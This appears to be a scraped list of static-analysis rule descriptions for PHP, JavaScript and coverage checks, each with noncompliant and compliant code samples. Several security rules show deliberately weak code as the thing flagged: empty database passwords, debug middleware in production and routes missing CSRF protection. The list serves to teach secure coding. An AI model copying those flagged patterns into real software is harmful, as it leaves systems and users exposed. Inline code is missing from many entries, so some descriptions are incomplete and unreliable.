||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3776 |
Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1599 |
PHP's "variable variables" feature (dynamically-named variables) is temptingly powerful, but can lead to unmaintainable code. Noncompliant Code Example$var = 'foo'; $$var = 'bar'; //Noncompliant $$$var = 'hello'; //Noncompliant echo $foo; //will display 'bar' echo $bar; //will display 'hello' |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1820 |
A class that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain, and having a lot of fields is an indication that a class has grown too large. Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well defined topics. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1821 |
Nested Specifically, you should structure your code to avoid the need for nested Noncompliant Code Exampleswitch($a) { case "foo": switch($b) { // Noncompliant case "bar": doSomething(); break; } break; } Compliant Solutionfunction handleFoo($foo) { switch($foo) { case "bar": doSomething(); break; } } switch($a) { case "foo": handleFoo($b); break; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S881 |
The use of increment and decrement operators in method calls or in combination with other arithmetic operators is not recommended, because:
Noncompliant Code Example$u8a = ++$u8b + $u8c--; $foo = $bar++ / 4; Compliant SolutionThe following sequence is clearer and therefore safer: ++$u8b; $u8a = $u8b + $u8c; $u8c--; $foo = $bar / 4; $bar++; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5863 |
Assertions comparing an object to itself are more likely to be bugs due to developer's carelessness. This rule raises an issue when the actual expression matches the expected expression. Noncompliant Code ExampleassertEqual($a, $a); // Noncompliant assertSame($a, $a); // Noncompliant assertNotEqual($a, $a); // Noncompliant assertNotSame($a, $a); // Noncompliant Compliant SolutionassertEqual($expected, $a); assertSame($expected, $a); assertNotEqual($expected, $a); assertNotSame($expected, $a); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1142 |
Having too many return statements in a function increases the function's essential complexity because the flow of execution is broken each time a return statement is encountered. This makes it harder to read and understand the logic of the function. Noncompliant Code ExampleWith the default threshold of 3: function myFunction(){ // Noncompliant as there are 4 return statements if (condition1) { return true; } else { if (condition2) { return false; } else { return true; } } return false; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1264 |
When only the condition expression is defined in a Noncompliant Code Examplefor (;condition;) { /*...*/ } Compliant Solutionwhile (condition) { /*...*/ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1144 |
Noncompliant Code Examplepublic class Foo { private function Foo() {} // Compliant, private empty constructor intentionally used to prevent any direct instantiation of a class. public static function doSomething() { $foo = new Foo(); ... } private function unusedPrivateFunction() { // Noncompliant } } Compliant Solutionpublic class Foo { private function Foo(){} // Compliant, private empty constructor intentionally used to prevent any direct instantiation of a class. public static function doSomething() { $foo = new Foo(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1145 |
There are three possible causes for the presence of such code:
In any of these cases, unconditional Noncompliant Code Exampleif (true) { // Noncompliant doSomething(); } ... if (false) { // Noncompliant doSomethingElse(); } Compliant SolutiondoSomething(); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2234 |
When the names of parameters in a method call match the names of the method arguments, it contributes to clearer, more readable code. However, when the names match, but are passed in a different order than the method arguments, it indicates a mistake in the parameter order which will likely lead to unexpected results. Noncompliant Code Examplepublic function divide($divisor, $dividend) { return $divisor/$dividend; } public function doTheThing() { $divisor = 15; $dividend = 5; $result = $this->divide($dividend, $divisor); // Noncompliant; operation succeeds, but result is unexpected } Compliant Solutionpublic function divide($divisor, $dividend) { return $divisor/$dividend; } public function doTheThing() { $divisor = 15; $dividend = 5; $result = $this->divide($divisor, $dividend); // Compliant }{code} h4. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2115 |
Databases should always be password protected. The use of a database connection with an empty password is a clear indication of a database that is not protected. This rule flags database connections with empty passwords. Noncompliant Code Example<?php $servername = "localhost"; $username = "AppLogin"; $password = ""; // MySQL $conn = new mysqli($servername, $username, $password); // MySQL $conn = mysqli_connect($servername, $username, $password); // PDO way $conn = new PDO("mysql:host=$servername;dbname=myDB", $username, $password); // Oracle $conn = oci_connect($username, $password, "//localhost/orcl"); // MS SQL Server $sqlsrvName = "serverName\sqlexpress"; $sqlsrvConnInfo = array( "Database"=>"myDB", "UID"=>$username, "PWD"=>$password); $conn = sqlsrv_connect( $sqlsrvName, $sqlsrvConnInfo); // PosgreSQL $pgConnInfo = "host=localhost port=5432 dbname=test user=" . $username . " password=" . $password; $conn = pg_connect($pgConnInfo); ?> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1940 |
It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead. Noncompliant Code Exampleif (!($a == 2)) { ... } // Noncompliant $b = !($i < 10); // Noncompliant Compliant Solutionif ($a != 2) { ... } $b = ($i >= 10); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1808 |
Shared coding conventions make it possible for a team to collaborate efficiently. This rule raises issues for failures to comply with formatting standard. The default parameter values conform to the PSR2 standard. Noncompliant Code ExampleWith the default PSR2 parameter values: use FooClass; // Noncompliant; the "use" declaration should be placed after the "namespace" declaration namespace Vendor\Package; use FooClass; // Noncompliant; the "namespace" declaration should be followed by a blank line $foo = 1; // Noncompliant; the "use" declaration should be followed by a blank line class ClassA { // Noncompliant; an open curly brace should be at the beginning of a new line for classes and functions function my_function(){ // Noncompliant; curly brace on wrong line if ($firstThing) // Noncompliant; an open curly brace should be at the end of line for a control structure { ... } if ($secondThing) { // Noncompliant; there should be exactly one space between the closing parenthesis and the opening curly brace ... } if($thirdThing) { // Noncompliant; there should be exactly one space between the control structure keyword and the opening parenthesis ... } else { // Noncompliant; the close curly brace and the next "else" (or "catch" or "finally") keyword should be located on the same line ... } try{ // Noncompliant; there should be exactly one space between the control structure keyword and the curly brace ... } catch (Exception $e) { } analyse( $fruit ) ; // Noncompliant; there should not be any space after the opening parenthesis and before the closing parenthesis for ($i = 0;$i < 10; $i++) { // Nomcompliant; there should be exactly one space after each ";" in the {{for}} statement ... } pressJuice($apply ,$orange); // Noncompliant; the comma should be followed by one space and not preceded by any do_something (); // Noncompliant; there should not be any space after the method name foreach ($fruits as $fruit_key => $fruit) { // Noncompliant; in the foreach statement there should be one space before and after "as" keyword and "=>" operator ... } } } class ClassB extends ParentClass // Noncompliant; the class name and the "extends" / "implements" keyword should be on the same line { ... } class ClassC extends ParentClass implements \ArrayAccess, \Countable, \Serializable // Noncompliant; the list of implemented interfaces should be correctly indented { public function aVeryLongMethodName(ClassTypeHint $arg1, // Noncompliant; the arguments in a method declaration should be correctly indented &$arg2, array $arg3 = []) { $noArgs_longVars = function () use ($longVar1, // Noncompliant; the arguments in a function declaration should be correctly indented $longerVar2, $muchLongerVar3 ) { ... }; $foo->bar($longArgument, // Noncompliant; the arguments in a method call should be correctly indented $longerArgument, $muchLongerArgument); // Noncompliant; the closing parenthesis should be placed on the next line $closureWithArgsAndVars = function($arg1, $arg2)use ($var1, $var2) { // Noncompliant; the closure declaration should be correctly spaced - see (5) ... }; } } Compliant Solutionnamespace Vendor\Package; // Compliant; the "namespace" declaration is followed by a blank line use FooClass; // Compliant; the "use" declaration is placed after the "namespace" declaration // Compliant; the "use" declaration is followed by a blank line $foo = 1; class ClassA { // Compliant; the open curly brace is at the beginning of a new line for the class function my_function() { // Compliant; the open curly brace is at the beginning of a new line for the function if ($firstThing) { // Compliant; the open curly brace is at the end of line for the control structure ... } if ($secondThing) { // Compliant; there is exactly one space between the closing parenthesis and the opening curly brace ... } if ($thirdThing) { // Compliant; there is exactly one space between the control structure keyword and the opening parenthesis ... } else { // Compliant; the close curly brace and the next "else" (or "catch" or "finally") keyword are located on the same line ... } try { // Compliant; there is exactly one space between the control structure keyword and the curly brace ... } catch (Exception $e) { ... } analyse($fruit); // Compliant: there is no space after the opening parenthesis, nor before the closing parenthesis for ($i = 0; $i < 10; $i++) { // Compliant: there is exactly one space after each ";" in the {{for}} statement ... } pressJuice($apply, $orange); // Compliant; the comma is followed by one space and is not preceded by any do_something(); // Compliant; there is no space after the method name foreach ($fruits as $fruit_key => $fruit) { // Compliant; in the foreach statement there is one space before and after "as" keyword and "=>" operator ... } } } /* The idea here is to make it obvious at first glance that a class extends * some other classes and/or implements some interfaces. The names of * extended classes or implemented interfaces can be located on subsequent lines. */ class ClassB1 extends ParentClass // Compliant; the class name and the "extends" (or "implements") keyword are located on the same line { ... } class ClassB2 extends // Compliant; the class name and the "extends" (or "implements") keyword are located on the same line ParentClass { ... } /* Lists of implements may be split across multiple lines, where each subsequent line * is indented once. When doing so, the first item in the list should be on the next line, * and there should be only one interface per line. */ class ClassC extends ParentClass implements \ArrayAccess, // Compliant; the list of implemented interfaces is correctly indented \Countable, \Serializable { /* Argument lists may be split across multiple lines, where each subsequent line * is indented once. When doing so, the first item in the list should be on the next line, * and there should be only one argument per line. Also, when the argument list is * split across multiple lines, the closing parenthesis and opening brace should be * placed together on their own line with one space between them. */ public function aVeryLongMethodName( ClassTypeHint $arg1, // Compliant; the arguments in a method/function declaration are correctly indented &$arg2, array $arg3 = [] ) { $noArgs_longVars = function () use ( $longVar1, // Compliant; the arguments in a method/function declaration are correctly indented $longerVar2, $muchLongerVar3 ) { ... }; /* Argument lists may be split across multiple lines, where each subsequent line is * indented once. When doing so, the first item in the list should be on the next line, * and there should be only one argument per line. */ $foo->bar( $longArgument, // Compliant; the arguments in the method call are be correctly indented $longerArgument, $muchLongerArgument ); // Compliant; the closing parenthesis is placed on a separate line /* Closures should be declared with a space after the "function" keyword, * and a space before and after the "use" keyword. */ $closureWithArgsAndVars = function ($arg1, $arg2) use ($var1, $var2) { // Compliant; the closure declaration is correctly spaced ... }; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1131 |
Trailing whitespaces are simply useless and should not stay in code. They may generate noise when comparing different versions of the same file. If you encounter issues from this rule, this probably means that you are not using an automated code formatter - which you should if you have the opportunity to do so. ExceptionsLines containing only whitespaces. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1134 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Examplefunction divide($numerator, $denominator) { return $numerator / $denominator; // FIXME denominator value might be 0 } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4524 |
For readability purpose, to help a developer to quickly find the default behavior of a Noncompliant Code Exampleswitch ($param) { case 0: doSomething(); break; default: // default clause should be the first or last one error(); break; case 1: doSomethingElse(); break; } Compliant Solutionswitch ($param) { case 0: doSomething(); break; case 1: doSomethingElse(); break; default: error(); break; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1135 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Examplefunction doSomething() { // TODO } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-ruby:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-ruby:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-ruby:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-ruby:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-ruby:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-ruby:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-web:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-web:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-web:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-web:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-web:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-web:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-cs:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-cs:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-cs:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-cs:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-cs:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-cs:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1121 |
Assignments within sub-expressions are hard to spot and therefore make the code less readable. Ideally, sub-expressions should not have side-effects. Noncompliant Code Exampleif ((str = cont.substring(pos1, pos2)) != '') { // Noncompliant //... } Compliant Solutionstr = cont.substring(pos1, pos2); if (str != '') { //... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3786 |
Template strings allow developers to embed variables or expressions in strings using template literals, instead of string concatenation. This is
done by using expressions like Noncompliant Code Exampleconsole.log("Today is ${date}"); // Noncompliant Compliant Solutionconsole.log(`Today is ${date}`); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3785 |
The If the right operand is a of primitive type (i.e., not an object) the Noncompliant Code Examplevar x = "Foo"; "length" in x; // Noncompliant: TypeError 0 in x; // Noncompliant: TypeError Compliant Solutionvar x = new String("Foo"); "length" in x; // true 0 in x; // true "foobar" in x; // false |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1125 |
Boolean literals should be avoided in comparison expressions This rule also reports on redundant boolean operations. Noncompliant Code Examplelet someValue = "0"; // ... if (someValue == true) { /* ... */ } if (someBooleanValue != true) { /* ... */ } doSomething(!false); Compliant Solutionif (someValue && someValue != "0") { /* ... */ } if (!someBooleanValue) { /* ... */ } doSomething(true); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1488 |
Declaring a variable only to immediately return or throw it is a bad practice. Some developers argue that the practice improves code readability, because it enables them to explicitly name what is being returned. However, this variable is an internal implementation detail that is not exposed to the callers of the method. The method name should be sufficient for callers to know exactly what will be returned. Noncompliant Code Examplefunction computeDurationInMilliseconds() { var duration = (((hours * 60) + minutes) * 60 + seconds ) * 1000 ; return duration; } Compliant Solutionfunction computeDurationInMilliseconds() { return (((hours * 60) + minutes) * 60 + seconds ) * 1000 ; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1126 |
Return of boolean literal statements wrapped into Note that if the result of the expression is not a boolean but for instance an integer, then double negation should be used for proper conversion. Noncompliant Code Exampleif (expression) { return true; } else { return false; } Compliant Solutionreturn expression; or return !!expression; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1116 |
Extra semicolons (
Noncompliant Code Examplevar x = 1;; // Noncompliant function foo() { }; // Noncompliant Compliant Solutionvar x = 1; function foo() { } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1479 |
When |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4507 |
Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities: An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesDo not enable debug features on production servers. Sensitive Code Exampleerrorhandler Express.js middleware should not be used in production: const express = require('express'); const errorhandler = require('errorhandler'); let app = express(); app.use(errorhandler()); // Sensitive Compliant Solutionerrorhandler Express.js middleware used only in development mode: const express = require('express'); const errorhandler = require('errorhandler'); let app = express(); if (process.env.NODE_ENV === 'development') { // Compliant app.use(errorhandler()); // Compliant } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1117 |
Overriding or shadowing a variable declared in an outer scope can strongly impact the readability, and therefore the maintainability, of a piece of code. Further, it could lead maintainers to introduce bugs because they think they're using one variable but are really using another. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2208 |
On the principle that clearer code is better code, you should explicitly Noncompliant Code Exampleimport * as Imported from "aModule"; // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1119 |
Labels are not commonly used, and many developers do not understand how they work. Moreover, their usage makes the control flow harder to follow, which reduces the code's readability. Noncompliant Code ExamplemyLabel: { let x = doSomething(); if (x > 0) { break myLabel; } doSomethingElse(); } Compliant Solutionlet x = doSomething(); if (x <= 0) { doSomethingElse(); }
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1472 |
Because semicolons at the ends of statements are optional, starting function call arguments on a separate line makes the code confusing. It could lead to errors and most likely will lead to questions for maintainers. What was the initial intent of the developer?
The first option will be the one chosen by the JavaScript interpreter. By extension, and to improve readability, any kind of function call argument should not start on new line. Noncompliant Code Examplevar fn = function () { //... } (function () { // Noncompliant //... })(); Compliant SolutionEither // define a function var fn = function () { //... }; // <-- semicolon added // then execute some code inside a closure (function () { //... })(); Or var fn = function () { //... }(function () { // <-- start function call arguments on same line //... })(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2681 |
Curly braces can be omitted from a one-line block, such as with an This rule raises an issue when the whitespacing of the lines after a one line block indicates an intent to include those lines in the block, but the omission of curly braces means the lines will be unconditionally executed once. Note that this rule considers tab characters to be equivalent to 1 space. If you mix spaces and tabs you will sometimes see issues in code which looks fine in your editor but is confusing when you change the size of tabs. Noncompliant Code Exampleif (condition) firstActionInBlock(); secondAction(); // Noncompliant; executed unconditionally thirdAction(); if (condition) firstActionInBlock(); secondAction(); // Noncompliant; secondAction executed unconditionally if (condition) firstActionInBlock(); // Noncompliant secondAction(); // Executed unconditionally if (condition); secondAction(); // Noncompliant; secondAction executed unconditionally let str = undefined; for (let i = 0; i < array.length; i++) str = array[i]; doTheThing(str); // Noncompliant; executed only on last array element Compliant Solutionif (condition) { firstActionInBlock(); secondAction(); } thirdAction(); let str = undefined; for (let i = 0; i < array.length; i++) { str = array[i]; doTheThing(str); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3531 |
A generator without a Noncompliant Code Examplefunction* myGen(a, b) { // Noncompliant let answer = 0; answer += a * b; } Compliant Solutionfunction* myGen(a, b) { let answer = 0; while (answer < 42) { answer += a * b; yield answer; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1110 |
The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed. Noncompliant Code Examplelet x = (y / 2 + 1); //Compliant even if those parenthesis are useless for the compiler if (a && ((x+y > 0))) { // Noncompliant //... } return ((x + 1)); // Noncompliant Compliant Solutionlet x = (y / 2 + 1); if (a && (x+y > 0)) { //... } return (x + 1); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4502 |
Cross-site request forgery (CSRF) vulnerabilities occur when attackers can trick a user to perform sensitive authenticated operations on a web application without his consent. Imagine a web application where an authenticated user can do actions like changing his email address and which has no CSRF protection. A malicious website could forge a web page form to send the HTTP request that change the user email. When the user visits the malicious web page, the form is automatically submitted in his name and his account email is changed to an arbitrary email. Such an attack is only possible if the web browser automatically sends authentication information to the trusted domain (e.g cookie based authentication) Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleExpress.js CSURF middleware protection is not found on an unsafe HTTP method like POST method: let csrf = require('csurf'); let express = require('express'); let csrfProtection = csrf({ cookie: true }); let app = express(); // Sensitive: this operation doesn't look like protected by CSURF middleware (csrfProtection is not used) app.post('/money_transfer', parseForm, function (req, res) { res.send('Money transferred'); }); Protection provided by Express.js CSURF middleware is globally disabled on unsafe methods: let csrf = require('csurf'); let express = require('express'); app.use(csrf({ cookie: true, ignoreMethods: ["POST", "GET"] })); // Sensitive as POST is unsafe method Compliant SolutionExpress.js CSURF middleware protection is used on unsafe methods: let csrf = require('csurf'); let express = require('express'); let csrfProtection = csrf({ cookie: true }); let app = express(); app.post('/money_transfer', parseForm, csrfProtection, function (req, res) { // Compliant res.send('Money transferred') }); Protection provided by Express.js CSURF middleware is enabled on unsafe methods: let csrf = require('csurf'); let express = require('express'); app.use(csrf({ cookie: true, ignoreMethods: ["GET"] })); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3533 |
Before ECMAScript 2015, module management had to be ad-hoc or provided by 3rd-party libraries such as Node.js, Webpack, or RequireJS. Fortunately,
ES2015, provides language-standard mechanisms for module management, Noncompliant Code Example// circle.js exports.area = function (r) { return PI * r * r; }; // foo.js define(["./cart", "./horse"], function(cart, horse) { // Noncompliant // ... }); // bar.js const circle = require('./circle.js'); // Noncompliant Compliant Solution// circle.js let area = function (r) { return PI * r * r; } export default area; // foo.js import cart from "./cart.js"; import horse from "./horse.js"; // bar.js import circle from "./circle.js" |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2685 |
Both Arguments objects for strict mode functions define non-configurable accessor properties named "caller" and "callee" which throw a TypeError exception on access. The same restriction applies to the function's Noncompliant Code Examplefunction whoCalled() { if (arguments.caller == null) //Noncompliant console.log('I was called from the global scope.'); else console.log(arguments.caller + ' called me!'); // Noncompliant console.log(whoCalled.caller); // Noncompliant console.log(whoCalled.arguments); // Noncompliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2201 |
When the call to a function doesn't have any side effects, what is the point of making the call if the results are ignored? In such case, either the function call is useless and should be dropped or the source code doesn't behave as expected. To prevent generating any false-positives, this rule triggers an issues only on a predefined list of known objects & functions. Noncompliant Code Example'hello'.lastIndexOf('e'); // Noncompliant Compliant Solutionlet char = 'hello'.lastIndexOf('e'); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4624 |
Template literals (previously named "template strings") are an elegant way to build a string without using the However, it's possible to build complex string literals by nesting together multiple template literals, and therefore lose readability and maintainability. In such situations, it's preferable to move the nested template into a separate statement. Noncompliant Code Examplelet color = "red"; let count = 3; let message = `I have ${color ? `${count} ${color}` : count} apples`; // Noncompliant; nested template strings not easy to read Compliant Solutionlet color = "red"; let count = 3; let apples = color ? `${count} ${color}` : count; let message = `I have ${apples} apples`; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2688 |
